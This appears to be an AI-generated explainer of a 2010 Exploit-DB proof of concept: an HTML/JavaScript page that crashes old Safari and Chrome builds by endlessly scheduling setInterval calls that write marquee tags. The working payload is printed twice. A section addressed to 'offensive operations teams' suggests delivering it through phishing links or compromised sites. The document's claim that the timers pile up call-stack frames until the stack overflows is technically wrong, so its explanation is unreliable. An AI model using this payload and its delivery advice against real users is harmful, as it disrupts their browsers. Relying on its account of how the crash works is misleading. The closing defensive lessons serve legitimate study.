WebKit 532.5 Stack Exhaustion Explained

WebKit 532.5 Stack Exhaustion Explained
What this paper is
This paper describes a Denial of Service (DoS) vulnerability in older versions of the WebKit rendering engine, specifically affecting Safari and Chrome. The vulnerability is triggered by a JavaScript code snippet that causes the browser to repeatedly call functions, leading to a stack overflow and ultimately crashing the browser.
Simple technical breakdown
The core of the exploit is a JavaScript function that continuously creates new "marquee" HTML elements. Each time a new marquee element is created, the browser's JavaScript engine has to do some work to process it. The exploit uses setInterval to repeatedly call functions that create these elements. This rapid, recursive calling of functions without a proper exit condition exhausts the available memory allocated for the call stack, causing the browser to crash.
Complete code and payload walkthrough
The provided source code is an HTML file containing JavaScript.
<html>
<!----
Tested Webkit:
AppleWebKit/531.9 (Safari 4.0.3)
AppleWebKit/531.21.8 (Safari 4.0.4)
AppleWebKit/532.5 (Chrome 4.1.249)
Tested platform:
Microsoft Windows 7
Note:
This also causes an fatal error in Opera 10.51, however Opera does not seem to run WebKit(?).
http://h.ackack.net/
------>
<script>
loop();
function loop()
{
setInterval(doit,0);
}
function doit()
{
var b="<marquee>";
document.write(b);
setInterval(loop,0);
}
</script>
</html>Let's break down the JavaScript:
loop();: This line immediately calls theloopfunction when the script starts executing.function loop():setInterval(doit, 0);: This is the key to the DoS.setIntervalis a JavaScript function that repeatedly calls another function at a specified interval. Here, it's set to call thedoitfunction. The0as the interval means "as soon as possible" or "without delay." So,loopschedulesdoitto run repeatedly.
function doit():var b="<marquee>";: This line declares a variableband assigns it the string"<marquee>". The<marquee>tag is an HTML element that creates scrolling text.document.write(b);: This line writes the content of thebvariable (the<marquee>tag) into the HTML document. When the browser encounters this, it starts processing the creation of a new marquee element.setInterval(loop, 0);: This is the recursive part. After writing the<marquee>tag, this line schedules theloopfunction to be called again, "as soon as possible."
Mapping of code fragments to practical purpose:
loop();-> Initiates the exploit execution.function loop() { setInterval(doit, 0); }-> Schedules thedoitfunction to run repeatedly and very quickly.function doit() { ... }-> The core function that performs the malicious action.var b="<marquee>";-> Defines the HTML element to be written.document.write(b);-> Inserts the HTML element into the document, triggering browser processing.setInterval(loop, 0);-> Crucially, this schedules theloopfunction to run again, creating an infinite loop ofdoitcallingloopandloopcallingdoit.
Execution Flow:
loop()is called.loopschedulesdoit()to run immediately.doit()executes:- It writes a
<marquee>tag to the document. - It schedules
loop()to run immediately.
- It writes a
- The browser's event loop picks up the scheduled
loop()call. loop()schedulesdoit()to run immediately.doit()executes again, writing another<marquee>tag and schedulingloop()again.
This cycle repeats thousands, if not millions, of times very rapidly. Each function call adds a frame to the program's call stack. Since there's no condition to stop these calls, the stack grows indefinitely until it runs out of memory, leading to a crash.
Shellcode/Payload:
There is no traditional shellcode or binary payload in this exploit. The "payload" is the JavaScript code itself, which is designed to exhaust the browser's resources.
Practical details for offensive operations teams
- Required Access Level: Client-side access to a target machine where the vulnerable browser is installed and can be tricked into loading the malicious HTML file. This could be via a phishing email with a link, a compromised website, or direct delivery of the HTML file.
- Lab Preconditions:
- A controlled network environment.
- A vulnerable browser version installed on a test machine (e.g., Chrome 4.1.249, Safari 4.0.3/4.0.4). Virtual machines are ideal for this.
- The HTML file hosted on a web server or accessible via a local file path.
- Tooling Assumptions:
- A simple web server (like Python's
http.serverornginx) to host the HTML file. - A text editor to create and modify the HTML file.
- A browser capable of rendering the HTML and executing JavaScript.
- A simple web server (like Python's
- Execution Pitfalls:
- Browser Updates: Modern browsers are patched and will not be vulnerable. The exploit is highly version-specific.
- Resource Limits: While the goal is to exhaust the stack, the browser might have other protective mechanisms or the OS might kill the process before a true stack overflow occurs in some scenarios.
- Detection: Antivirus software or endpoint detection and response (EDR) solutions might flag the rapid
document.writeorsetIntervalcalls as suspicious behavior, especially if the HTML is delivered via a network. - User Interaction: The user must actually open the HTML file or visit the malicious URL.
- Telemetry:
- Network: If delivered via a web server, network logs will show the target requesting the HTML file.
- Process: The browser process will likely show extremely high CPU utilization and memory consumption just before crashing.
- Crash Dumps: The operating system might generate crash dumps for the browser process.
- Event Logs: System event logs might record the application crash.
Where this was used and when
This exploit targets specific, older versions of WebKit.
- Approximate Years: The exploit was published in 2010. The vulnerable versions of WebKit (532.5, 531.9, 531.21.8) were in use around 2009-2010.
- Usage Contexts: Such vulnerabilities are typically used for:
- Denial of Service (DoS) attacks: To disrupt the availability of a service or a user's ability to access a website.
- Disruption: As a component in a larger attack chain, to crash a user's browser and potentially create an opening for other exploits or actions.
Defensive lessons for modern teams
- Patch Management: Keeping browser and rendering engine versions up-to-date is paramount. This specific vulnerability is long patched.
- JavaScript Sandboxing: Modern browsers have robust sandboxing mechanisms that limit the impact of JavaScript execution.
- Resource Limits: Browsers and operating systems have built-in limits to prevent runaway processes from consuming all system resources.
- Web Application Firewalls (WAFs): While this is a client-side exploit, WAFs can sometimes detect and block malicious JavaScript patterns if they are served from a web application.
- Endpoint Security: Modern endpoint security solutions can detect anomalous process behavior, such as extreme CPU/memory spikes or rapid function call patterns, even if the specific exploit signature is unknown.
- Browser Security Settings: Users should be educated on the risks of disabling JavaScript or using browser extensions that can block scripts.
ASCII visual (if applicable)
This exploit's flow is best represented by a simple loop diagram:
+-----------------+
| Start Exploit |
| (loop();) |
+--------+--------+
|
v
+--------+--------+
| Call loop() |
| |
| -> setInterval |
| (doit, 0) |
+--------+--------+
|
v
+--------+--------+
| Call doit() |
| |
| - document.write |
| ("<marquee>")|
| - setInterval |
| (loop, 0) |
+--------+--------+
|
+------------------+
|
v
(Back to Call loop())This diagram illustrates the continuous cycle of loop calling doit and doit calling loop, leading to an infinite execution loop.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/12401
- Original Source Code: Provided within the Exploit-DB paper.
Original Exploit-DB Content (Verbatim)
<html>
<!----
Tested Webkit:
AppleWebKit/531.9 (Safari 4.0.3)
AppleWebKit/531.21.8 (Safari 4.0.4)
AppleWebKit/532.5 (Chrome 4.1.249)
Tested platform:
Microsoft Windows 7
Note:
This also causes an fatal error in Opera 10.51, however Opera does not seem to run WebKit(?).
http://h.ackack.net/
------>
<script>
loop();
function loop()
{
setInterval(doit,0);
}
function doit()
{
var b="<marquee>";
document.write(b);
setInterval(loop,0);
}
</script>
</html>